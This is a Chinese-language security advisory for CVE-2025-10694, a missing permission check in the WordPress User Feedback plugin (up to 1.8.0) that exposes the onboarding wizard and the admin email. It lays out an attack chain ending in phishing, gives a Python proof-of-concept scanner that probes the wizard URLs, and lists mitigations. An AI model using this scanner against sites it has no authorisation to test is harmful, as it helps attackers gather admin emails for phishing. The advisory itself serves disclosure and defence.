IPBUF安全漏洞报告
English
CVE-2025-10694 CVSS 5.3 中危

CVE-2025-10694 WordPress User Feedback插件未授权访问漏洞

披露日期: 2025-10-25

漏洞信息

漏洞编号
CVE-2025-10694
漏洞类型
未授权访问/越权漏洞
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
User Feedback – Create Interactive Feedback Form, User Surveys, and Polls in Seconds (WordPress插件)

相关标签

未授权访问越权漏洞WordPress插件User Feedback信息泄露CVE-2025-10694CVSS 5.3中危漏洞

漏洞概述

CVE-2025-10694是WordPress插件User Feedback中的一个未授权访问漏洞。该插件用于创建互动反馈表单、用户调查和投票。漏洞存在于1.8.0及以下所有版本中,由于`maybe_load_onboarding_wizard`函数缺少权限检查,导致未认证攻击者可以访问onboarding wizard页面。在首次安装或配置插件时,onboarding wizard会显示敏感的配置信息,包括管理员邮箱地址等。攻击者无需任何认证即可利用此漏洞获取目标网站的管理员邮箱地址,这可能被用于后续的社会工程攻击、钓鱼攻击或针对性的密码重置攻击。此漏洞的CVSS评分为5.3,属于中等严重程度,主要影响系统的机密性。

技术细节

该漏洞的根本原因是WordPress插件User Feedback在实现onboarding wizard功能时,未对`maybe_load_onboarding_wizard`函数实施适当的权限检查。在WordPress插件开发中,涉及管理功能的函数通常需要使用`current_user_can()`或类似的权限检查函数来确保只有授权用户才能访问。然而,该插件的开发者在实现这一关键函数时遗漏了权限验证逻辑。攻击者可以通过直接访问相关的admin URL路径(如/wp-admin/admin.php?page=userfeedback_onboarding)来绕过正常的认证流程。即使攻击者未登录WordPress,也能成功加载onboarding wizard页面并查看其中包含的配置数据。暴露的信息包括但不限于管理员邮箱地址,这些信息可被用于精准钓鱼攻击或作为进一步攻击的跳板。漏洞影响版本从插件初始发布到1.8.0版本。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的WordPress User Feedback插件版本
STEP 2
步骤2
攻击者构造恶意HTTP请求,直接访问onboarding wizard页面URL
STEP 3
步骤3
由于插件未对maybe_load_onboarding_wizard函数进行权限检查,服务器响应onboarding wizard页面
STEP 4
步骤4
攻击者从响应页面中提取管理员邮箱地址等敏感配置信息
STEP 5
步骤5
利用获取的管理员邮箱进行钓鱼攻击、密码重置请求或其他社会工程攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10694 PoC - Unauthenticated Access to Onboarding Wizard # Affected: User Feedback WordPress Plugin <= 1.8.0 import requests import sys def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-10694 """ # Common onboarding wizard URL paths paths = [ '/wp-admin/admin.php?page=userfeedback_onboarding', '/wp-admin/admin.php?page=userfeedback-setup', '/wp-admin/admin.php?page=userfeedback-get-started' ] vulnerable = False exposed_data = [] for path in paths: url = target_url.rstrip('/') + path try: response = requests.get(url, timeout=10, allow_redirects=False) # Check if response indicates successful access to wizard if response.status_code == 200: # Look for indicators of onboarding wizard content content = response.text.lower() if 'admin' in content or 'email' in content or 'setup' in content: vulnerable = True exposed_data.append({ 'url': url, 'status': response.status_code, 'indicators': ['admin', 'email', 'setup'] }) except requests.RequestException as e: print(f"Error accessing {url}: {e}") return vulnerable, exposed_data def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-10694.py <target_url>") print("Example: python cve-2025-10694.py http://example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Checking vulnerability CVE-2025-10694 on {target}") is_vulnerable, data = check_vulnerability(target) if is_vulnerable: print("[+] VULNERABLE: Onboarding wizard accessible without authentication") print(f"[+] Exposed data URLs: {len(data)}") for item in data: print(f" - {item['url']}") else: print("[-] NOT VULNERABLE or target not accessible") if __name__ == "__main__": main()

影响范围

User Feedback WordPress插件 <= 1.8.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 使用Web应用防火墙规则阻止对可疑onboarding URL的未认证访问;2) 通过.htaccess或Nginx配置限制访问/wp-admin相关路径;3) 监控服务器日志,查找异常的admin.php访问请求;4) 考虑暂时禁用User Feedback插件直到完成升级;5) 提醒管理员不要使用与漏洞相关的信息进行敏感操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表